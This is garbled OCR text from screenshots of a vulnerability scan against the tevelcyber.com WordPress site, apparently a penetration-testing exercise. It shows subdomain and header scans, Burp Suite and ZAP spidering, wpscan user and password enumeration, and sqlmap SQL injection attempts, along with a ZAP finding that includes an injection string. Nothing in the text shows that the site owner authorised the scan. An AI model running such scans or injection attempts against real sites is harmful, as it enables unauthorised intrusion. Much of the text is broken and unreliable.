[+] Checking if any Cloudflare is blocking access...
[+] Checking Redirection
[i] Host redirects to https://tevelcyber.com/

Set this as default Host? [Y/NI:

>Y

[+] Interesting Headers Found:
| x-xss-protection : 1; mode=block
| x-content-type-options : nosniff
| server : Apache
| upgrade : h2,h2c

[i] Information from Headers:
| server : Apache

[+] subdomain Scanner Start!

[+] Progress 1 / 1904 ...

[+] subdomain found!

| subdomain: mail.www.tevelcyber.com
| Nameserver: mail.www.tevelcyber.com
| IP: 92.242.132.16

[+] Progress 2 / 1904 .
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>y

er. com/

[+] Interesting Headers Found:
| x-xss-protection : 1; mode=block
| x-content-type-options : nosniff
| server : Apache
| upgrade : h2,h2c

[i] Information from Headers:
| server : Apache

HON N |

[+] Detecting Wordpress
[i] Wordpress Detected!

[+] Scan started :
[+] Enumeration Usernames.
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Applications v Places v

File Edit S Terminal Help
8. SQL Injection [ SQLI ] Scanner

[+] Select Option

>7
[+] Enter Domain

e.g, site.com

> https://www.tevelcyber.com
[+] Checking Status.
[i] site is up!

[+] Target Info:
| URL: https://www.tevelcyber.com
| IP: 192.185.39.52

[+] Checking if any Cloudflare is blocking access...
[+] Checking Redirection
[i] Host redirects to https://tevelcyber.com/

Set this as default Host? [Y/N]:

>Y
[+] Interesting Headers Found:
| x-xss-protection : 1; mode=block
| x-content-type-options : nosniff
| server : Apache
| upgrade : h2,h2c

[i] Information from Headers:

| server : Apache

[+] Scan Started

[+] Searching Wordpress Backups. ..
[?] Note: Press CTRL+C to skip

[+] Progress 17 / 17 ...

[+] [Elxit or launch [Algain? (e/a)[]
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@ subgraph Vega
File Scan Window Help

Q04
@ Website View| o ®& @6~ 0|@scannfo]

> @ tevelcyber.com ~

> @- 9

;@ emettechie

> @ conference.nte s A

> @ conference tevel

> @0

c@

c@n Scanner Progress

c@

> @ ne —

> @

@ -

@ httos:itevelcyber.comifeed

@ 6 out of 35 scanned (17.1%)

c@

c@

> @ Scan Alert Summary

c@

;@ v

© Scan Alerts| S0 °

> © 04/24/2020 02:02:14 [Auditing] (3) © Medium (1 found)
Possible HTTP PUT File Upload 1

(]
@ Info (2 found)

News Feed Detected 1
Blank Body Detected 1
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© Scan Alerts|
~ @ 04/24/2020 02:02:14 [Completed] (3)

~ @ https://tevelcyber.com (3)
~ @ Medium
= Possible HTTP PUT File Upload (httpsy/tevelcyber.com/PUT-putfile)
~ @ Info ()
* Blank Body Detected (/wp-content/)
# News Feed Detected (/)
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b AT A GLANCE

Classification Configuration

Resource hitps:litevelcyber.com/PUT-putile
Method pUT

Risk

P REQUEST

PUT IPUT putfile

b DISCUSSION

The HTTP PUT method was designedto allow HTTP clients to store resources on a HTTP server. In implementations, this has tpically meant file upload capabily. AS the HTTP RFC
states that a server should overwrite pre-existing resources located atthe URI of a PUT request, a oss of system or application integrity could occur if such a request were made.

b IMPACT

> Asitrary file uploads could affect application or system integriy.
> This could occur if an attacker were to overwite a resource pre-existing on the server

) REMEDIATION

> The senver configuration settings should be reiewed to identify and disable the misconfiguration
> Apache allows for methods such as PUT and DELETE to be restricted using the LIMIT directive
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Burp Intruder Repeater Window Help

Burp Suite Free Edition v1.7.26 - Temporary Project

[ Teraet | Proxy | spider | scamner | mruder | Repester | Sequencer | Decoder | Comparer | Extender | Project aptons | User opions | Alers |

o0

Target Scope

Include in scope

[ add | [Enabled |Protocol Host/ P range Port | File

[ ear @  wmes “tevelcyber\.coms nasss oo

[ Remove |

((Poste vaL |

((oaa

Exclude from scope

[ add | [Enabled |Protocol Host/ P range Port | File
@ Aw Togout

(e || @  any logoft
@ Ay exit

(Remove || @  any signout

[_paste RL |

[[(toad.. |

Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. All fields take regex strings. The easiest way to configure scope is to browse to your target and use the
context menus in the site map to include or exclude URL paths
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Burp Suite Free Edition v1.7.26 - Temporary Project. 000

Burp Intruder Repeater Window Help

[ Teraet | Proxy | spider | scamner | mruder | Repester | Sequencer | Decoder | Comparer | Extender | Project aptons | User opions | Alers |

Fiter: Hiding not found items: hiding CSS, image and general binary content; hiding 4xx responses: hiding empty folders

> ) hitps //apiw.org 4] [Host [ Method | URL [Params |Status & Length | MIME type | Title [ Comment
» 7 hitp/farchive.internettechies com
> 3 httpijartsy.github.io https /ftevelcyber.com  GET  [ls={search term string @ 200 40361 HTML You searched for {sear.
> @ htpibitly httpsftevelcyber com  GET  fabouttevel/ o 20 60644 HTML About - Tevel Cyber Cor.
> 1 hitpijblog.christoffer.me httpsftevelcyber.com  GET  /aboutteveljembed/ o 20 60836 HTML About - Tevel Cyber Cor.
> @) https:/jcdn.dashis.org https/ftevelcyber.com  GET  /academia~collaboration/  (J 200 51916 HTML Academia Collaboration
> 0 hitps:/jcdn jsdelivr.net httpstevelcyber com  GET  Jacademia-collaboration. o 20 5200 HTML Academia Collaboration
> 7 httpi/jcode.google.com https/ftevelcyber.com  GET  /cb2w/ o 20 64268 HTML CB2W - Tevel Cyber Co
> @ hitpijconference.intemettechies.com httpsftevelcyber.com  GET  /ccw/ o 20 73276 HTML CCW - Tevel Cyber Corps
> @) https:/jconference.tevelcyber.com httpsftevelcyber com  GET  /ccw/embed/ o 20 73460 HTML CCW - Tevel Cyber Corps
> 7 hitpi/dimsemenov.com httpsftevelcyber.com  GET  /comments/feed/ o 20 158 XML
> 7 hitp:/ffontforge.org https/tevelcybercom  GET  /consulting/ o 20 50965 HTML Consulting - Tevel Cybe.
> 8 https:/ffonts.googleapis.com httpsftevelcyber.com  GET  /consulting/embed/ o 20 s11s8  HTML Consulting - Tevel Cybe.
>8] hitps:/jget adobe.com httpstevelcyber.com  GET /contactus/ o 20 48008 HTML Contact - Tevel Cyber C v
> 3 hitp/fgithub.com v
> 01 Hitpe gt com 1S >
> 3 hitpi//gmpg.org =
> @) hitps://ima youtube com BGRUG) Response
> @1 hitps./in.linkedin.com parems | neaders | v |
> 7 hitp/fisotope metafizzy.co | {iagl rerams [ veaders [
> 3 httpihn GET / HTTP/1.1 T
> @) hitps:/jkriesi.at Host: tevelcyber. con
> @) hitps-//maps.googleapis.com User-Agent: Mozilla/5,0 (X11; Linux x86_64; rvi52.0) Gecko/20100101 Firefox/52.0
+ 3 etpimy tpera com Accept: text/htnl, application/xhtnlexnl,application/xnl;q=0.9,+/+;q=0.8
> 7 hitp/inew teveleyber com Accept-Language: en-Us, en;q=0.5
O i Referer: https://tevelcyber.con/services/
m: : Jects laber Cookie: aviaCookieConsent=d81420726960c26e43d077d27fc2b89c; PHPSESSID=anpvao7lae00885hbfng79uky3
> 7 hitp/fprojects lukehaas.me ook oviathok
> 1 hitpijpurl.org Upgrade-Insecure-Requests: 1
> @) hitps-//schema.org
» 7 hitp//schemas. microsoft com

hitp:/sitemaps.org
> Q) https://skillsacademy.itm ac.in

> ) https://webaim.org

> 7 http/wellformedweb.org
> 7 http://wordpress org

> @) https://wordpress.org

> 7 http://www.arnebrachhold.de

v

v () (=) () () [peasearchem 0 matches
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at 00:19

Burp Suite Free Edition v1.7.26 - Temporary Project. o0

Burp Intruder Repeater Window Help

[Terget | Proxy | spider | scamner | mruder | Repester | Sequencer | Decoder | Comparer | Extender | Projectaptons | User opions | Alerts |

control | options |

(@) Spider status

Use these settings to monitor and control Burp Spider. To begin spidering, browse to the target application. then right-click one or more nodes in the target site map, and choose "Spider this host / branch”

Spider is running | | Clear queues |

Requests made: 861
Bytes transferred: 22,001,269
Requests queued: 2,419
Forms queued: 0

Spider Scope

® Use suite scope [defined in Target tab]
© Use custom scope
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Burp Intruder Repeater Window Help

Burp Suite Free Edition v1.7.26 - Temporary Project

[ Teraet | Proxy | spider | scamner | mruder | Repester | Sequencer | Decoder | Comparer | Extender | Project aptons | User opions | Alers |

o0

Fiter: Hiding not found items: hiding CSS, image and general binary content; hiding 4xx responses: hiding empty folders

¥ s /7ty w3 org
> 7 http://tategaki github.io

> 3 http:/jtechforum booknetcanada.ca
> ) https:/jtedxmit org

> http:/ftestthewebforward.org

> 7 http:/fthe. fuchsia-design.com
> @) https:/jtheodi.org

> @) hitps:/ti.to

> 7 http/ftidy sourceforge net

> 7 http://timblpip.verisignlabs com
> 7 http/tl 28 de

> 7 http:/ftools ietf org

> 3 http/ftrio.co ke

> 7 http:/ftwitter.com

> ) https:/jtwitter.com

> 7 http/jundefined org
> 7 http:/juniv-cotedazur fr
> 7 http/jusefuline com
> 7 http:/jusers chello be
> 3 http:/fvalidator w3.org
> @) https://validator. w3.org
> 8 https://viewsourceconf org
> 7 http/fvimeo.com

> 7 http://vic example.com
> 3 http/ulb.org

> 3 http:/w3 hotbox.ru

> 7 http://w3.org

> 7 http://w3c github.io

> @) https://w3c github.io

> 7 http://w3corg.ru

> 7 http//w3ctech.com

> 7 http:/fw3labs ke

> 7 http://wac ircam fr

> 7 http://waminrialpes fr

> 7 http://weather.example.com
> 7 http://web-and-philosophy.org
> 7 http://web-platiorm-tests org
> 7 http://web.archive.org

» @1 httos://web archive org

21,

ost [ Method | URL [Params | Status | Length | MIME type 4| Title
s eveTcy DT com—— GET = w s T
https://tevelcyber.com GET 17p=796 @ 301 499
https://tevelcyber.com GET 17p=914 @ 301 503
https://tevelcyber.com GET [7p=955 @ 301 501
fitps:/tevelcyber.com 5]
Hipsiiteveloybercom  GET /15— {search_term _string @
Hipsiitevelcybercom  GET  /abouttevel a
Hipsiitevelcybercom  GET  /abouttevel/embed/ a
Htpsiitevelcybercom  GET  /academia-collsboration/ a
Htpsiitevelcybercom  GET  /academia-collsboration/embed a
Hipsiitevelcybercom  GET  /cb2w/ a
Hipsiitevelcybercom  GET  /chzwjembed/ O 200  eass2  HTM coaw -
Request | Response
GET /wp-admins FITP/1 1 N
Host: tevelcyber. con
Accept: +/4
Accept -Language: en
User-Agent: Mozilla/s.0 (compatibles MSIE 9.0; Windows NT 6.1; WinGd: x64; Trident/s.0)
Connection: close
Referer: https:/, tevelcyber. con/robots. txt
Cookie: aviaCookieConsent=d314207a6960c26243d077d27c2b89c; PHPSESSTD=anpyacTlac0oB0Shb na7Suky3
v
LJ L;J u L;J Type a search term 0 matches
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Applications v Places v Terminal v Sat 04:00 w [@ = o~

root@kali: ~
grabber.py: error: no such option: --xxs
root@kali:~# grabber --spider 1 --xss --sql --url https://www.tevelcyber.com
Start scanning... https://www.tevelcyber.com
runSpiderScan @ https://www.tevelcyber.com | #1
runSpiderScan @ https://www.tevelcyber.com | #0
runSpiderScan @ https://www.tevelcyber.com/# | #0
runSpiderScan @ https://www.tevelcyber.com/#prev | #0
runSpiderScan @ https://www.tevelcyber.com/#next | #0
runSpiderScan @ https://www.tevelcyber.com/#1 | #0
runSpiderScan @ https://www.tevelcyber.com/#2 | #0
runSpiderScan @ https://www.tevelcyber.com/#3 | #0
runSpiderScan @ https://www.tevelcyber.com/#top | #0
runSpiderScan @ https://www.tevelcyber.com | #0
runSpiderScan @ https://www.tevelcyber. typeof module.exports?module.exports=a.do | #0
Grabber cannot retrieve the given url: https://www.tevelcyber.com/==typeof module.exports?module.exports=a.do
runSpiderScan @ https://www.tevelcyber.com/),e.style.css | #0
Grabber cannot retrieve the given url: https://www.tevelcyber.com/),e.style.css
runSpiderScan @ https://www.tevelcyber.com/).length,l.html | # @
Grabber cannot retrieve the given url: https://www.tevelcyber.com/).length,1.html
runSpiderScan @ https://www.tevelcyber.com/).length,l.htm | # ©

Grabber cannot retrieve the given url: https://www.tevelcyber.com/).length,1l.htm

runSpiderScan @ https://www.tevelcyber.com/),filter:function(a,b){var c,e,f,g=b.button,h=b.fromElement;return null==a.pag
eX&&null!=b.clientX&&(e=a.target.ownerDocument||d,f=e.do | # 0

Grabber cannot retrieve the given url: https://www.tevelcyber.com/),filter:function(a,b){var c,e,f,g=b.button,h=b.fromElem
ent;return null==a.pageX&&null!=b.clientX&&(e=a.target.ownerDocument||d, f=e.do

runSpiderScan @ https://www.tevelcyber.com/),e.style.css | #0
Grabber cannot retrieve the given url: https://www.tevelcyber.com/),e.style.css
runSpiderScan @ https://www.tevelcyber.com/,data:b}).done(function(a){f=arguments,g.html | # 0

Grabber cannot retrieve the given url: https://www.tevelcyber.com/,data:b}).done(function(a){f=arguments,g.html
runSpiderScan @ https://www.tevelcyber.com/,data:b}).done(function(a){f=arguments,g.htm | # @
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B mEms| B  [sudo- How dol loginas ...

File Actions Edit View Help
{1100 a-$ sudo wpscan —url https://tevelcyber.com

AN /T N/
AN A 71D

WordPress Security Scanner by the WPScan Team
Version 3.8.1
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, afirefart

[+] URL: https://tevelcyber.com/ [1
[+] Started: Wed May 6 18:47:51 2020

185.39.52]

Interesting Finding(s):

[+] Headers

Interesting Entries:

- server: nginx/1.17.6

- x-server-cache: true

- x-proxy-cache: MISS

Headers (Passive Detection)
Confidence: 100%

[+] https://tevelcyber. com/robots. txt
Robots Txt (Aggressive Detection)

[+] XML-RPC seems to be enabled: https://tevelcyber.com/xmlrpc.php
Link Tag (Passive Detection)

- http://codex.wordpress. org/XML-RPC_Pingback_APT

// w . Tapid7 . con/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
// w . Tapid7 . con/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos

// wa . Tapid7 . con/db/modules/auxiliary/scanner/http/wordpress_xmirpc_login
https://wm.rapid7.con/db/modules/auxiliary/scanner/http/wordpress_pingback_access

06:51PM @

A L% & C

o x
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B mEms| B  [sudo- How dolloginas .. ] kali@kali

File Actions Edit View Help

[+] https://tevelcyber. con/readme. html
Direct Access (Aggressive Detection)

[+] Upload directory has listing enabled: https://tevelcyber.com/wp-content/uploads/
Found By: Direct Access (Aggressive Detection)

[+] The external WP-Cron seems to be enabled: https://tevelcyber.com/wp-cron.php
Found By: Direct Access (Aggressive Detection)

//wi . iplocation.net/defend-wordpress-fron-ddos
- https: //github. con/wpscantean/wpscan/issues/1299

[+] WordPress version 5.3.3 identified (Latest, released on 2
Found By: Rss Generator (Passive Detection)

- https://tevelcyber.com/feed/, <generator>https://wordpress.org/?v=5.3.3</generator>

- https://tevelcyber.com/comments/feed/, <generator>https://wordpress.org/?v=5.3.3</generator>

04-29).

[+] WordPress theme in use: enfold

Location: https://tevelcyber. con/wp-content/themes/enfold/

Style URL: https://tevelcyber.com/wp-content/themes/enfold/style.css

Style Name: Enfold

Style URT: ww.kriesi.at/themes/enfold/

Description: <strong>A superflexible and responsive Business Theme by Kriesi</strong> - <br/> Update notification
Author: Kriesi

Author URT: https://kriesi.at

Found By: Urls In Homepage (Passive Detection)
Confirmed By: Urls In 404 Page (Passive Detection)

Version: 4.3.2 (80% confidence)
Found By: Style (Passive Detection)
- https://tevelcyber.com/wp-content/themes/enfold/style.css, Match: 'Version: 4.3.2'

[+] Enumerating ALl Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:




image43.png
B mEaOs|

=)

File Actions Edit View Help

[+] wordpress-seo
Locatior

Found By

Version: 4.3 (60% confidence)
Translation File (Aggressive Detection)
// tevelcyber. con/wp-content/plugins/download-moni tor/1anguages/download-monitor. pot, Matc!

[+] email-before-download
Location: https://tevelcyber.con/wp-content/plugins/email-before-download/
Latest Version: 5.1.9
Last Updated: 2018-03-23T14:29:00.000Z

Version: 14.0.4 (60% confidence)
Comment (Passive Detection)
- https://tevelcyber.com/, Match: 'optimized with the Yoast SEO plugin v14.0.4 -'

 [sudo- How dolloginas .. E] kali@kali:

Found By: Urls In Homepage (Passive Detection)
Confirmed By: Urls In 404 Page (Passive Detection)

The version could not be determined.

https: //tevelcyber. com/wp-content/plugins/wordpress-seo/
Latest Version: 14.0.4 (up to date)

Last Updated: 2020-04-30T16:00:00.000Z

Found By: Comment (Passive Detection)

[+] Enumerating Config Backups (via Passive and Aggressive Methods)

Checking Config Backups - Time: 00:00:09 <:
[1] No Config Backups Found.

[!] No WPVULnDB APT Token given, as a result vulnerability data has not been output.

06:52PM @ A L% & C

- o x

Project-Id-Version: Download Monitor 4.3'

> (21 / 21) 100.00% Time: 00:00:09

[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Wed May 6 18:48:36 21

[+] Requests Done: 60
[+] Cached Requests: 7

[+] Data Sent: 13.624 KB

[+] Data Received: 316.045 KB
[+] Memory used: 203.973 MB

[+] Elapsed time: 00:00:44

kaligkaliz~$ I
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BEmmO=| = # [Logln «Tevel Cyber Co.. ] kali@kali:

= [wpscan - FileManager] = [Savescreenshotas..] ~ 07:20PM W ano% & c

fali@kali:~ - @ x
File Actions Edit View Help
Confirmed By: Urls In 404 Page (Passive Detection)

The version could not be determined.

[+] wordpress-seo
Location: https://tevelcyber.com/wp-content/plugins/wordpress-seo/
Latest Version: 14.0.4 (up to date)
Last Updated: 2020-04-30T16:00:00.000Z

Found By: Comment (Passive Detection)

Version: 14.0.4 (60% confidence)
Found By: Comment (Passive Detection)
- https://tevelcyber.com/, Match: 'optimized with the Yoast SEO plugin vi4.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)

Checking Config Backups - Time: 00:00:08 <: > (21 / 21) 100.00% Time: 00:00:08

[4] No Config Backups Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:14

> (10 / 10) 100.00% Time: 00:00:14
[i] No Users Found.

[+] Performing password attack on Wp Login against 0 user/s
Progress Time: 00:00:00 <:

> (0 / 0) 100.0% Time: 00:00:00
[i] No Valid Passwords Found. 1

[!] No WPVULnDB APT Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Wed May 6 19:20:33 21
[+] Requests Done: 39

[+] Cached Requests: 46

[+] Data Sent: 9.25 KB

[+] Data Received: 816.018 KB

[+] Memory used: 208.633 MB

[+] Elapsed time: 00:00:36

kaligkaliz~$ I |
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KALI LINUX

Trash

File System

Home

ESD-ISO

defaultuser:
Ripassword ..

fip.txt

mysql.txt

mysql_user.-

txt

password

password.txt

SShpass.tt

 [Mozilla Firef... [£] [kali@kali

E [kali@kali:~] [ kali@kali: ~ [wpscan - File...

lali@kali ~ -
File Actions Edit View Help
kaliakal:

$ sudo sqlmap -u "https://ww.tevelcyber.com/wp-login®
- T
= . i |
B N I )

v

I8 |_| http: //sqlmap. org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is

illegal. It is the end user's responsibility to obey all applicable local, state and feder
al laws. Developers assume no liability and are not responsible for any misuse or damage ca
used by this program

[*] starting @ 22:12:38 /2020-05-06/

[ 1 [WARNING] you've provided target URL without any GET parameters (e.g. 'http://ww
w.site.com/article.php?id=1') and without providing any POST parameters through option '—d
ata’

do you want to try URI injections in the target URL itself? [Y/n/q] Y

[ 1 [1NFO] testing connection to the target URL

g0t a 301 redirect to 'https://tevelcyber.con/wp-login'. Do you want to follow? [¥/n] Y
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=hqe4ngj7las.
..0i111huS04'). Do you want to use those [¥/n] Y

[ ] [INFO] testing if the target URL content is stable

[ ] [WARNING] URT parameter '#1x' does not appear to be dynamic

[ ] [WARNING] heuristic (basic) test shows that URI parameter '#1%' might not be inj
ectable

[ ] [INFO] testing for SQL injection on URI parameter '#ix

[ ] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause

[ ] [INFO] testing 'Boolean-based blind - Parameter replace (original value)

¢ 1 [1NFO] testing 'MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

[ 1 [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause

[ 1 [1NFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING cl
ause (IN)'

1

[Savescreens.. 10:14PM @

A Lo% & C
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KALI LINUX

Trash

File System

Home

ESD-ISO

defaultuser:
Ripassword ..

fip.txt

mysql.txt

mysql_user.-
txt

password

password.txt

SShpass.tt

 [LogincTevel.. ] [kali@kali

[ [kali@kali:~] [ kali@kali: ~ [wpscan - File...

lali@kali ~ -
File Actions Edit View Help

sqlmap: error: —dbms option requires 1 argument
20§ sudo sqlmap -u "https://tevelcyber.com/wp-login.php?wp-admingreauth=1" —dbs

=2l e }
B | 5 |
B | ) I I

|-Iv.2 _|” http://sqimap.ors

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is

illegal. It is the end user's responsibility to obey all applicable local, state and feder
al laws. Developers assume no liability and are not responsible for any misuse or damage ca
used by this program

[+] starting @ 22:24:02 /2020-05-06/

[ ] [INFO] testing connection to the target URL

[ ] [WARNING] the web server responded with an HTTP error code (409) which could int
erfere with the results of the tests

[ ] [INFO] testing if the target URL content is stable

[ ] [INFO] target URL content is stable

[ ] [INFO] testing if GET parameter 'reauth’ is dynamic

[ ] [WARNING] GET parameter 'reauth' does not appear to be dynamic

[ ] [WARNING] heuristic (basic) test shows that GET parameter 'reauth' might not be
injectable

[ ] [INFO] testing for SQL injection on GET parameter 'reauth

[ ] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause

[ ] [INFO] testing 'Boolean-based blind - Parameter replace (original valle)

[ 1 [INFO] testing 'MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)

[ 1 [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause

[ ] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING cl
ause (IN)'

[ ] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)

[ ] [INFO] testing 'MysQL > 5.0 error-based - Parameter replace (FLOOR)

[ ] [INFO] testing 'Generic inline queries

[Save screens.. 10:24PM @

A Lo% & C
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KALILINUX ftp.xt
Trash mysqlixt

File System  mysgl_user.-

txt
. .
Home password

ESD-ISO. password.txt

defaultuser  sshpass.tt
Ripassword ..

9 [Mozilla Firef... (] [kali@kali: ~/... ] [kali@kali:~] [ kali@kali: ~ [wpscan - File...
-
ali@kal - - o

File Actions Edit View Help
[ ] [WARNING] heuristic (basic) test shows that URI parameter '#1%' might not be inj
ectable
[ 1 ] testing for SQL injection on URT parameter '#1x'
[ ] ] testing 'AND boolean-based blind - WHERE or HAVING clause'
[ ] ] testing 'Boolean-based blind - Parameter replace (original value)'
L 1

BY clause (FLOOR)'

[ ] testing 'PostgresQL AND error-based - WHERE or HAVING clause’

[ ] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING cl
ause (IN)

It
[
[INFO] testing 'MySQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
Fl
[
[

[ ] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[ ] testing 'MySQL > 5.0 error-based - Parameter replace (FLOOR)'
[INFO] testing 'Generic inline queries'
[INFO] testing 'PostgresQL > 8.1 stacked queries (comment)'
[CRITICAL] considerable lagging has been detected in connection response(s). Ple
se use as high value for option '—time-sec' as possible (e.g. 1@ or more)
[ testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[ testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[ testing 'MySQL > 5.0.12 AND time-based blind (query SLEEP)'
I testing 'PostgreSQL > 8.1 AND time-based blind'
[ testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[ testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (pot
ential) technique found. Do you want to reduce the number of requests? [Y/n] Y

EEEEEE L EEee

[ 1 [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[ ] [WARNING] URI parameter '#1+' does not seem to be injectable
[ ] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase
values for '—Tlevel'/'—risk: options if you wish to parforn more tests. If yhu suspect th

at there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to us
e option '—tamper' (e.g. '—tamper=space2comment') and/or switch ‘—randon-agent'

i 1 [WARNING] HTTP error codes detected during run:

406 (Not Acceptable) - 13 times, 403 (Forbidden) - 3 times

[*] ending @ 22:17:50 /2020-05-06/
kaliakaliz~$ I
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Eile Edit View Analyse Report Tools Online Help

StandardMode v) || B E B H & 1@ D@0 OODE 48V P b O % © €
[@si=l+] [ queksia A = roquest | Resporsee | & |
enas .
Contexts Welcome to the OWASP Zed Attack Proxy (ZAP)
(] Default Context ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.

> @ sites
Please be aware that you should only attack applications that you have been specifically been given permission to test.

To quicKly test an application, enter its URL below and press ‘Attack’.

URL to attack: http://www.tevelcyber.com Select.
Attack Ll stop
Progress: Actively scanning (attacking) the URLS discovered by the spider

For a more in depth test you should explore your application using your browser or automated regression tests while proxying through ZAP.

Expor your spplcatons el

[ & History | < Search | [ Alerts | | | Output | % Spider [ ) ActiveScan # % | 4 |

2 New Scan - Progress: (0: http://www.tevelcyber.com |v) (I (1 & i a% Current Scans:1 - Num requests: 48 ¢ Export @
id [ Req. Timestamp [ Resp. Timestamy [Method  [URL [Code |Reason [RTT  [SizeResp. Header | SizeResp.Body ||
TesTev, TrTS resTev; 1T AT eV YT ComTwpauTT Ty = e 7 7 s
89 4/23/20, 11 423120, 1 GET http://www.tevelcyber.com/wp-admin/2query: 409 Conflict 1565 143 bytes 83 bytes
90 4/23/20, 113 423120, 11+ GET http://www.tevelcyber.com/wp-admin/2query: 409 Conflict 2885 143bytes 83 bytes
91 472320, 11: 423120, 1 GET http://www.tevelcyber.com/wp-adminZquer 409 Conflict 123ms 143 bytes 83 bytes
92 472320, 113 423120, 11+ GET http://www.tevelcyber.com/wp-admin/2query: 409 Conflict 2145  143bytes 83 bytes
93 4723/20, 11 423120, 1 GET http://www.tevelcyber.com/wp-adminZquer 409 Conflict 239ms 143 bytes 83 bytes
94472320, 11 423120, 11+ GET http://www.tevelcyber.com/wp-admin/2query: 409 Conflict 1475  143bytes 83 bytes
95 4/23/20, 11 423120, 1 GET http://www.tevelcyber.com/wp-adminZquer 409 Conflict 136 ms 143 bytes 83 bytes
96 4/23/20, 113 423120, 11+ GET http://www.tevelcyber.com/wp-admin/admin-j 400 BadRequest  1.395 388 bytes 1bytes
97472320, 11: 423120, 1 GET http://www.tevelcyber.com/wp-admin/admin-2 406_Not Acceptable 273 ms 150 bytes 226 bytes v

Alerts 0 1 24 R0 Current scans §30 0 )

Qo0 #o0 0 #o
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StandardMode W) || B EE H # 1@ D@0 ODE 44V 6P b © © €
@stes |+ [7 quick start | = Request | Responser= |
egad Header: Text |v] Body: Text [v] (7] (]
Contexts HTTP/1.1 200 0K i
(2] Default Context Date: Thu, 23 Apr 2020 23:16:40 GHT
v @ sites server: nginx/1.17.6
Content-Type: text/plain; charset-utf-8
v &2 ¥ https:/fwww.tevelcyber.com X-Frane-Options: SAMEORIGIN
@ GETwp-admin X-XS5-Protection: 1; mode=block
s X-Content-Type-Options: nosniff
v 5 P ttp:/iwww tevelcyber.com Expires: Thu, 10 Nov 1981 68:52:00 GMT
7] # GETxrobots.txt Cache-Control: no-store, no-cache, must-revalidate v
] P GET:robots.txt(query) User-agent: *
|| # GET:sitemap.xml :ﬁallw /;E—MM;H/ o
1l @ GETowp-admin ow:/wp-adnin/adnin-2jax. php
» (1% wp-admin sitemap: https://tevelcyber.con/sitenap. xnl
] P GET:wp-admin(query)
[ ristory | @ search | {Ralerts #.] L) Output | 9% spider | 3 Active scan | ¥ |
e 7 5QL Injection i
v & Alorts (6) URI http://www.tevelcyber.com/robots.txt?query=query%27+AND+%271%27 %3D%271%27++
Risk: # High

QL Injection
» ¥ X-Frame-Options Header Not Set

» 2 Cookie No HttpOnly Flag (2)

» 2 Cross-Domain JavaScript Source File Inclusion (8)
» 2 Web Browser XSS Protection Not Enabled

» 2 X-Content-Type-Options Header Missing

Confidence: Medium
Parameter: query
Attack:  query' OR

Evidence:
CWEID: 89
WASCID: 19
Source:  Active (40018 - SQL Injection)
Description:
v
<C 7

Qo0 #o0 0 #o
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[ Quick start | = Request | Responses=] &

(Standard Mode [v) | | 3 B b 7 i
@ sites | &

EEE
Contexts
(@] Default Context
v @ sites
v &2 ¥ https:/fwww.tevelcyber.com
|1 # GET:wp-admin
v 5 http://www.tevelcyber.com
11 # GET:robots.txt
] P GET:robots.txt(query)
|1 # GET:sitemap.xmi
|1 # GET:wp-admin
» (1% wp-admin
] P GET:wp-admin(query)

| Header: Text |v] (Body: Text |v] [ (]

HTTP/1.1 200 0K
Date: Thu, 23 Apr 2020 23:12:32 GHT
server: nginx/1.17.6

Content-Type: text/htnl; charset-UTF-8
Vary: User-Agent, Accept-Encoding

Last-Hodified: Tue, 21 Apr 2020 I
Accept-Ranges: none
Cache-Control

Pragna: no-cache

[<IDOCTYPE himl>
<html lang="en-Us" class=

“htnl_stretched responsive av-preloader-disabled av-default-lightbox

47 GuT

max-age=0, no-cache, no-store, must-revalidate

htnl_header_top html_logo_left htnl main_nav_header h

tml_nenu_right htnl_custon html_header_sticky html_header_shrinking_disabled html_mobile_menu_phone html_header_searchicon_
disabled html_content_align_center htnl_header_unstick_top_disabled html_header_stretch disabled html_av-submenu-hidden htm
1_av-submenu-display-click html_av-overlay-side html_av-overlay-side-mininal html_av-submenu-noclone htl_entry_id_d452 av-n

preview htnl_text_nenu_active ">
<head>
<meta charse

TF-8" />

[ = istory | < Search [ lerts #.

output | # spider | D Actwescan | |

e 7

5 Alerts (6)
» A SQL Injection (3)
» ¥ X-Frame-Options Header Not Set
» 2 Cookie No HttpOnly Flag (2)
» 2 Cross-Domain JavaScript Source File Inclusion (8)
v 2 Web Browser XSS Protection Not Enabled

» F2 X-Content-Type-Options Header Missing

Alerts 1 B1 94 RO

Web Browser XSS Protection Not Enabled
URL: http://www.tevelcyber.com

Risk: # Low.

Confidence: Medium

